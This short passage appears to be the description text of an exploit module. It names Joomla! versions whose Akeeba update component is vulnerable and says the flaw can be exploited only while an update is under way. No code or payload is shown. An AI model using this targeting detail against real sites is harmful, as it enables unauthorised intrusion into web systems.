        This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
        3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
        component, which is responsible for Joomla! updates. Nevertheless it is worth to note
        that this vulnerability is only exploitable during the update of the Joomla! CMS.
